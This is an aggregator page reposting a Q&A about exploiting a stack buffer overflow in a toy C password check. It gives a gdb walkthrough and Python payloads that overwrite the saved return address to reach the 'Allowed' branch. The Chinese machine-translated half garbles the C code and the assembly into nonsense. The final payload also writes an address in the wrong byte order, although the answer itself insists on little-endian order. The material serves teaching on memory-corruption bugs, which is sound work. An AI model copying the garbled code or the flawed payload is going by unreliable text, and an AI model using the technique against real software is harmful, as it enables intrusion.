尝试缓冲区溢出 [英] Attempting a buffer overflow

查看:179
本文介绍了尝试缓冲区溢出的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我试图使用缓冲溢出来改变堆栈具有以下code上的结果来改变函数的结果:

 的#include<&stdio.h中GT;
#包括LT&;&string.h中GT;
#包括LT&;&stdlib.h中GT;
INT check_auth1(字符*密码)
{
    炭password_buffer [8];
    INT auth_flag = 0;
    的strcpy(password_buffer,密码);
    如果(STRCMP(password_buffer,杯具)== 0){
        auth_flag = 1;
    }
    返回auth_flag;
}
INT主(INT ARGC,字符** argv的)
{
    如果(的argc 2){
        的printf(用法:%S<密码和GT; \\ N的argv [0]);
        出口(0);
    }
    诠释认证= check_auth1(的argv [1]);
    如果(认证!= 1){
        的printf(不允许\\ n);
    }其他{
        的printf(允许\\ n);
    }
    返回0;
}

我用gdb来分析堆栈,这是我有:

  0xbffff6d0:0xbffff8e4 0x0000002f去0xbffff72c 0xb7fd0ff4
0xbffff6e0:0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0:00000000 00000000 0xbffff728 0x0804850f
0xbffff700:0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710:0xb7fed280 00000000 0x08048549 0xb7fd0ff4
0xbffff720:0x08048540 00000000 00000000 0xb7e444d3
0xbffff730:0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740:00000000 0xbffff71c 0xbffff7d0 00000000
    [1] $ EBP 0xbffff6f8
    [2] $尤0xbffff6d0
    [3]密码0xbffff700
    [4] auth_flag 0xbffff6ec
    [5] password_buffer 0xbffff6e4
   0x080484ce 1 + 0计算值:推%EBP
   0x080484cf 1 + 1&GT ;: MOV%ESP,EBP%
   0x080484d1 1 + 3计算值:和$ 0xfffffff0,%尤
   0x080484d4 1 + 6个;:子$为0x20,%尤
   0x080484d7 1 + 9基;: CMPL $ 0x1,0x8(%EBP)
   0x080484db 1 + 13计算值:JG 0x80484ff<主+ 49>
   0x080484dd 1 + 15计算值:MOV位于0xC(EBP%),%EAX
   0x080484e0 1 + 18计算值:MOV(%eax中),%EDX
   0x080484e2 1 + 20计算值:MOV $ 0x8048614,%eax中
   0x080484e7 1 + 25计算值:MOV%EDX,为0x4(%尤)
   0x080484eb 1 + 29计算值:MOV EAX%(%ESP)
   0x080484ee 1 + 32计算值:调用0x8048360< printf的PLT @>
   0x080484f3 1 + 37计算值:MOVL $为0x0,(%尤)
   0x080484fa 1 + 44计算值:调用0x80483a0<退出@ PLT>
   0x080484ff 1 + 49计算值:MOV位于0xC(EBP%),%EAX
   0x08048502 1 + 52计算值:加$为0x4,%eax中
   0x08048505 1 + 55计算值:MOV(%EAX),EAX%
   0x08048507 1 + 57计算值:MOV%eax中,(%尤)
   ----------
   重要的东西STARTS NOW
   0x0804850a 1 + 60计算值:调用0x8048474&所述; check_auth1>
   0x0804850f 1 + 65计算值:MOV EAX%,为0x1C(%ESP)
   0x08048513 1 + 69计算值:CMPL $ 0x1,0x1c(%尤)
   0x08048518 1 + 74计算值:JE 0x8048528<主+ 90 GT;

我决定除了$ EBP是如何远离和放大器; password_buffer:0xbffff6f8 - 0xbffff6e4 = 14字节

因此​​,与14'A'输入,即 ./ stackoverflowtest $(perl的-e打印A×14)应该带我去允许

我在哪里去了?什么是所需的输入引起溢出?

ASLR和gcc金丝雀被关闭。

check_auth1装配转储:

 汇编code的功能check_auth1的转储:
   0x08048474 1 + 0计算值:推%EBP
   0x08048475 1 + 1&GT ;: MOV%ESP,EBP%
   0x08048477 1 + 3计算值:推%EDI
   0x08048478 1 + 4计算值:推%ESI
   0x08048479 1 + 5计算值:子$为0x20,%尤
= GT; 0x0804847c 1 + 8计算值:MOVL $为0x0,-0xc(%EBP)
   0x08048483 1 + 15计算值:MOV,位于0x8(%EBP),EAX%
   0x08048486 1 + 18计算值:MOV%eax中,为0x4(%尤)
   0x0804848a 1 + 22:LEA -0x14(EBP%),%EAX
   0x0804848d 1 + 25计算值:MOV%eax中,(%尤)
   0x08048490 1 + 28计算值:调用0x8048370< strcpy的@ PLT>
   0x08048495 1 + 33计算值:LEA -0x14(EBP%),%EAX
   0x08048498 1 + 36计算值:MOV%eax中,%EDX
   0x0804849a 1 + 38计算值:MOV $ 0x8048610,EAX%
   0x0804849f 1 + 43计算值:MOV $为0x4,%ecx中
   0x080484a4 1 + 48计算值:MOV%EDX,%ESI
   0x080484a6 1 + 50计算值:MOV%eax中,%EDI
   0x080484a8 1 + 52计算值:REPZ CMPSB%ES:(%EDI),%DS:(%ESI)
   0x080484aa 1 + 54计算值:刚毛%dl的
   0x080484ad 1 + 57计算值:SETB%人
   0x080484b0 1 + 60计算值:MOV%EDX,%ecx中
   0x080484b2 1 + 62计算值:子%人,%CL
   0x080484b4 1 + 64计算值:MOV%ecx中,%eax中
   0x080484b6 1 + 66计算值:movsbl%人,%eax中
   0x080484b9 1 + 69计算值:测试%EAX,EAX%
   0x080484bb 1 + 71计算值:JNE 0x80484c4&下; check_auth1 + 80>
   0x080484bd 1 + 73计算值:MOVL $为0x1,-0xc(EBP%)
   0x080484c4 1 + 80计算值:MOV -0xc(%EBP),%eax中
   0x080484c7 1 + 83计算值:加$为0x20,ESP%
   0x080484ca 1 + 86计算值:流行%ESI
   0x080484cb 1 + 87计算值:弹出%EDI
   0x080484cc 1 + 88计算值:流行的%ebp
   0x080484cd 1 + 89计算值:保留


解决方案

这是很容易被利用,这里穿行的方式。

先用 -g 编译它,它可以更容易了解你在做什么。然后,我们的目标将是改写保存 EIP check_auth1的(),并将其移动到的其它部分测试在的main()功能。

  $> GCC -m32 -g -o vuln vuln.c
$> GDB ./vuln
...
(GDB)破check_auth1
断点1日0x80484c3:文件vulne.c,9号线。
(GDB)运行`蟒蛇-c'打印(A* 28)'`
启动程序:./vulne`蟒蛇-c'打印(A* 28)'`
9:断点1,在check_auth1 vuln.c(密码= 0xffffd55d'A'<重复28次&GT)
9 INT auth_flag = 0;
(GDB)信息框
堆栈0级,在框架0xffffd2f0:
 EIP = 0x80484c3在check_auth1(vuln.c:9);保存EIP 0x804853f
 一帧在0xffffd320称为
 源C语言。
 ARGLIST在0xffffd2e8,ARGS:密码= 0xffffd55d'A'<重复28次>
 在0xffffd2e8当地人,previous帧的SP是0xffffd2f0
 保存的寄存器:
   EBP在0xffffd2e8,在0xffffd2ec EIP

我们停在 check_auth1()并显示堆栈帧。我们看到,在保存 EIP 被存储在堆栈中的 0xffffd2ec 并包含 0x804853f

让看到它做什么导致:

 (GDB)拆卸主
汇编code的转储为主要功能:
   0x080484ff 1 + 0计算值:推%EBP
   0x08048500 1 + 1&GT ;: MOV%ESP,EBP%
   0x08048502 1 + 3计算值:和$ 0xfffffff0,%尤
   0x08048505 1 + 6个;:子$为0x20,%尤
   0x08048508 1 + 9基;: CMPL $ 0x1,0x8(%EBP)
   0x0804850c 1 + 13计算值:JG 0x804852f<主+ 48>
   0x0804850e 1 + 15计算值:MOV位于0xC(EBP%),%EAX
   0x08048511 1 + 18计算值:MOV(%EAX),EAX%
   0x08048513 1 + 20计算值:MOV%eax中,为0x4(%尤)
   0x08048517 1 + 24计算值:MOVL $ 0x8048604,(%尤)
   0x0804851e 1 + 31计算值:调用0x8048360< printf的PLT @>
   0x08048523 1 + 36计算值:MOVL $为0x0,(%尤)
   0x0804852a 1 + 43计算值:调用0x80483a0&下;出口@ PLT>
   0x0804852f 1 + 48计算值:MOV位于0xC(EBP%),%EAX
   0x08048532 1 + 51计算值:加$为0x4,%eax中
   0x08048535 1 + 54计算值:MOV(%EAX),EAX%
   0x08048537 1 + 56计算值:MOV%eax中,(%尤)
   0x0804853a 1 + 59计算值:调用0x80484bd&所述; check_auth1>
   0x0804853f 1 + 64计算值:MOV EAX%,为0x1C(ESP%)LT; - 我们返回时,在这里跳
   0x08048543 1 + 68 ;: CMPL $ 0x1,0x1c(%尤)
   0x08048548 1 + 73计算值:JE 0x8048558<主+ 89>
   0x0804854a 1 + 75计算值:MOVL $ 0x804861a,(%尤)
   0x08048551 1 + 82计算值:调用0x8048380&下;把@ PLT>
   0x08048556 1 + 87计算值:JMP 0x8048564<主+ 101>
   0x08048558 1 + 89计算值:MOVL $ 0x8048627,(ESP%)LT; - 我们要在这里跳
   0x0804855f 1 + 96计算值:调用0x8048380&下;把@ PLT>
   0x08048564 1 + 101计算值:MOV $为0x0,%eax中
   0x08048569 1 + 106计算值:离开
   0x0804856a 1 + 107计算值:保留
汇编转储结束。

但事实是,我们要避免去通过 CMPL $ 0x1,0x1c(%ESP)键,直接进入测试的其他部分。这意味着我们要跳转到 0x08048558

不管怎样,让我们​​先试试,看看我们的28' A 足以改写保存 EIP

 (GDB)旁
10的strcpy(password_buffer,密码);
(GDB)旁
11,如果(STRCMP(password_buffer,杯具)== 0){

在这里,的strcpy 没有溢出,所以让我们看看堆栈帧:

 (GDB)信息框
堆栈0级,在框架0xffffd2f0:
 EIP = 0x80484dc在check_auth1(vulnerable.c:11);保存EIP 0x41414141
 一帧在0xffffd2f4称为
 源C语言。
 ARGLIST在0xffffd2e8,ARGS:密码= 0xffffd55d'A'<重复28次>
 在0xffffd2e8当地人,previous帧的SP是0xffffd2f0
 保存的寄存器:
  EBP在0xffffd2e8,在0xffffd2ec EIP

事实上,我们改写了与保存的EIP A ×41 是十六进制code代表 A )。而且,事实上,28正是我们所需要的,而不是更多。如果我们取代的目标地址的最后四字节一切都会好的。

一件事是,你需要重新排列字节采取小字节序考虑在内。因此, 0x08048558 将成为 \\ X58 \\ X85 \\ X04 \\ X08

最后,您还需要编写一些有意义的地址保存 EBP 值(未 AAAA ),所以我的诀窍只是像这样的最后地址翻番:

  $> ./vuln`蟒蛇-c'打印(A* 20 +\\ X58 \\ X85 \\ X04 \\ X08 \\ X58 \\ X85 \\ X04 \\ X08)''

请注意,没有必要禁用ASLR,因为你是在的.text 部分跳(这部分做ASLR在任何移动)。但是,你一定要禁用金丝雀。

修改:我错了有关更换保存 EBP 我们保存 EIP 。事实上,如果你不给正确的 EBP 你会尝试从退出主,当命中段错误。这是因为,我们没有设置保存 EBP 来某处的.text 部分,然后,即使没有从 check_auth1 返回时的问题,栈帧将被不适当地在函数返回时恢复(系统会相信堆栈位于code)。其结果将是4个字节由指着上面的地址保存 EBP 我们写了(和指向指令)将被误认为与保存的 EIP 。所以,要么你禁用ASLR和写的正确地址保存 EBP 0xffffd330 ),这将导致

  $> ./vuln`蟒蛇-c'打印(A* 20 +\\ XFF \\ XFF \\ XD3 \\ X30 \\ X58 \\ X85 \\ X04 \\ X08)''

或者,您需要执行,将执行全新退出一个ROP(0)(这通常是很容易实现)。

I am attempting to change the result of a function using a buffer overflow to change the results on the stack with the following code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>


int check_auth1(char *password) 
{
    char password_buffer[8];
    int auth_flag = 0;
    strcpy(password_buffer, password);
    if (strcmp(password_buffer, "cup") == 0) {
        auth_flag = 1;
    }
    return auth_flag;
}
int main(int argc, char **argv)
{
    if (argc < 2) {
        printf("Usage: %s <password>\n", argv[0]);
        exit(0);
    }
    int authenticated = check_auth1(argv[1]);
    if (authenticated != 1) {
        printf("NOT Allowed.\n");
    } else {
        printf("Allowed.\n");
    }
    return 0;
}

I'm using gdb to analyse the stack and this is what I have:

0xbffff6d0: 0xbffff8e4  0x0000002f  0xbffff72c  0xb7fd0ff4
0xbffff6e0: 0x08048540  0x08049ff4  0x00000002  0x0804833d
0xbffff6f0: 0x00000000  0x00000000  0xbffff728  0x0804850f
0xbffff700: 0xbffff901  0xb7e5e196  0xb7fd0ff4  0xb7e5e225
0xbffff710: 0xb7fed280  0x00000000  0x08048549  0xb7fd0ff4
0xbffff720: 0x08048540  0x00000000  0x00000000  0xb7e444d3
0xbffff730: 0x00000002  0xbffff7c4  0xbffff7d0  0xb7fdc858
0xbffff740: 0x00000000  0xbffff71c  0xbffff7d0  0x00000000


    [1] $ebp                0xbffff6f8
    [2] $esp                0xbffff6d0
    [3] password            0xbffff700
    [4] auth_flag           0xbffff6ec
    [5] password_buffer     0xbffff6e4


   0x080484ce <+0>: push   %ebp
   0x080484cf <+1>: mov    %esp,%ebp
   0x080484d1 <+3>: and    $0xfffffff0,%esp
   0x080484d4 <+6>: sub    $0x20,%esp
   0x080484d7 <+9>: cmpl   $0x1,0x8(%ebp)
   0x080484db <+13>:    jg     0x80484ff <main+49>
   0x080484dd <+15>:    mov    0xc(%ebp),%eax
   0x080484e0 <+18>:    mov    (%eax),%edx
   0x080484e2 <+20>:    mov    $0x8048614,%eax
   0x080484e7 <+25>:    mov    %edx,0x4(%esp)
   0x080484eb <+29>:    mov    %eax,(%esp)
   0x080484ee <+32>:    call   0x8048360 <printf@plt>
   0x080484f3 <+37>:    movl   $0x0,(%esp)
   0x080484fa <+44>:    call   0x80483a0 <exit@plt>
   0x080484ff <+49>:    mov    0xc(%ebp),%eax
   0x08048502 <+52>:    add    $0x4,%eax
   0x08048505 <+55>:    mov    (%eax),%eax
   0x08048507 <+57>:    mov    %eax,(%esp)
   ----------
   IMPORTANT STUFF STARTS NOW
   0x0804850a <+60>:    call   0x8048474 <check_auth1>
   0x0804850f <+65>:    mov    %eax,0x1c(%esp)
   0x08048513 <+69>:    cmpl   $0x1,0x1c(%esp)
   0x08048518 <+74>:    je     0x8048528 <main+90>

I determined how far apart $ebp is from &password_buffer: 0xbffff6f8 - 0xbffff6e4 = 14 bytes

So with 14 'A' input, i.e. ./stackoverflowtest $(perl -e 'print "A" x 14') it should take me to "Allowed".

Where am I going wrong? What is the needed input to cause a overflow?

ASLR and gcc canaries are turned off.

check_auth1 assembly dump:

Dump of assembler code for function check_auth1:
   0x08048474 <+0>: push   %ebp
   0x08048475 <+1>: mov    %esp,%ebp
   0x08048477 <+3>: push   %edi
   0x08048478 <+4>: push   %esi
   0x08048479 <+5>: sub    $0x20,%esp
=> 0x0804847c <+8>: movl   $0x0,-0xc(%ebp)
   0x08048483 <+15>:    mov    0x8(%ebp),%eax
   0x08048486 <+18>:    mov    %eax,0x4(%esp)
   0x0804848a <+22>:    lea    -0x14(%ebp),%eax
   0x0804848d <+25>:    mov    %eax,(%esp)
   0x08048490 <+28>:    call   0x8048370 <strcpy@plt>
   0x08048495 <+33>:    lea    -0x14(%ebp),%eax
   0x08048498 <+36>:    mov    %eax,%edx
   0x0804849a <+38>:    mov    $0x8048610,%eax
   0x0804849f <+43>:    mov    $0x4,%ecx
   0x080484a4 <+48>:    mov    %edx,%esi
   0x080484a6 <+50>:    mov    %eax,%edi
   0x080484a8 <+52>:    repz cmpsb %es:(%edi),%ds:(%esi)
   0x080484aa <+54>:    seta   %dl
   0x080484ad <+57>:    setb   %al
   0x080484b0 <+60>:    mov    %edx,%ecx
   0x080484b2 <+62>:    sub    %al,%cl
   0x080484b4 <+64>:    mov    %ecx,%eax
   0x080484b6 <+66>:    movsbl %al,%eax
   0x080484b9 <+69>:    test   %eax,%eax
   0x080484bb <+71>:    jne    0x80484c4 <check_auth1+80>
   0x080484bd <+73>:    movl   $0x1,-0xc(%ebp)
   0x080484c4 <+80>:    mov    -0xc(%ebp),%eax
   0x080484c7 <+83>:    add    $0x20,%esp
   0x080484ca <+86>:    pop    %esi
   0x080484cb <+87>:    pop    %edi
   0x080484cc <+88>:    pop    %ebp
   0x080484cd <+89>:    ret  

解决方案

This is quite easy to exploit, here is the way to walk through.

First compile it with -g, it makes it easier to understand what you are doing. Then, our goal will be to rewrite the saved eip of check_auth1() and move it to the else-part of the test in the main() function.

$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9       int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
 called by frame at 0xffffd320
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
   ebp at 0xffffd2e8, eip at 0xffffd2ec

We stopped at check_auth1() and displayed the stack frame. We saw that the saved eip is stored in the stack at 0xffffd2ec and contains 0x804853f.

Let see to what it does lead:

(gdb) disassemble main
Dump of assembler code for function main:
   0x080484ff <+0>:     push   %ebp
   0x08048500 <+1>:     mov    %esp,%ebp
   0x08048502 <+3>:     and    $0xfffffff0,%esp
   0x08048505 <+6>:     sub    $0x20,%esp
   0x08048508 <+9>:     cmpl   $0x1,0x8(%ebp)
   0x0804850c <+13>:    jg     0x804852f <main+48>
   0x0804850e <+15>:    mov    0xc(%ebp),%eax
   0x08048511 <+18>:    mov    (%eax),%eax
   0x08048513 <+20>:    mov    %eax,0x4(%esp)
   0x08048517 <+24>:    movl   $0x8048604,(%esp)
   0x0804851e <+31>:    call   0x8048360 <printf@plt>
   0x08048523 <+36>:    movl   $0x0,(%esp)
   0x0804852a <+43>:    call   0x80483a0 <exit@plt>
   0x0804852f <+48>:    mov    0xc(%ebp),%eax
   0x08048532 <+51>:    add    $0x4,%eax
   0x08048535 <+54>:    mov    (%eax),%eax
   0x08048537 <+56>:    mov    %eax,(%esp)
   0x0804853a <+59>:    call   0x80484bd <check_auth1>
   0x0804853f <+64>:    mov    %eax,0x1c(%esp)   <-- We jump here when returning
   0x08048543 <+68>:    cmpl   $0x1,0x1c(%esp)
   0x08048548 <+73>:    je     0x8048558 <main+89>
   0x0804854a <+75>:    movl   $0x804861a,(%esp)
   0x08048551 <+82>:    call   0x8048380 <puts@plt>
   0x08048556 <+87>:    jmp    0x8048564 <main+101>
   0x08048558 <+89>:    movl   $0x8048627,(%esp) <-- We want to jump here
   0x0804855f <+96>:    call   0x8048380 <puts@plt>
   0x08048564 <+101>:   mov    $0x0,%eax
   0x08048569 <+106>:   leave  
   0x0804856a <+107>:   ret    
End of assembler dump.

But the truth is that we want to avoid to go through the cmpl $0x1,0x1c(%esp) and go directly to the else-part of the test. Meaning that we want to jump to 0x08048558.

Anyway, lets first try to see if our 28 'A' are enough to rewrite the saved eip.

(gdb) next
10      strcpy(password_buffer, password);
(gdb) next
11      if (strcmp(password_buffer, "cup") == 0) {

Here, the strcpy did the overflow, so lets look at the stack-frame:

(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
 called by frame at 0xffffd2f4
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
  ebp at 0xffffd2e8, eip at 0xffffd2ec

Indeed, we rewrote the saved eip with 'A' (0x41 is the hexadecimal code for A). And, in fact, 28 is exactly what we need, not more. If we replace the four last bytes by the target address it will be okay.

One thing is that you need to reorder the bytes to take the little-endianess into account. So, 0x08048558 will become \x58\x85\x04\x08.

Finally, you will also need to write some meaningful address for the saved ebp value (not AAAA), so my trick is just to double the last address like this:

$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`

Note that there is no need to disable the ASLR, because you are jumping in the .text section (and this section do no move under the ASLR). But, you definitely need to disable canaries.

EDIT: I was wrong about replacing the saved ebp by our saved eip. In fact, if you do not give the right ebp you will hit a segfault when attempting to exit from main. This is because, we did set the saved ebp to somewhere in the .text section and, even if there is no problem when returning from check_auth1, the stack frame will be restored improperly when returning in the main function (the system will believe that the stack is located in the code). The result will be that the 4 bytes above the address pointed by the saved ebp we wrote (and pointing to the instructions) will be mistaken with the saved eip of main. So, either you disable the ASLR and write the correct address of the saved ebp (0xffffd330) which will lead to

 $> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`

Or, you need to perform a ROP that will perform a clean exit(0) (which is usually quite easy to achieve).

这篇关于尝试缓冲区溢出的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆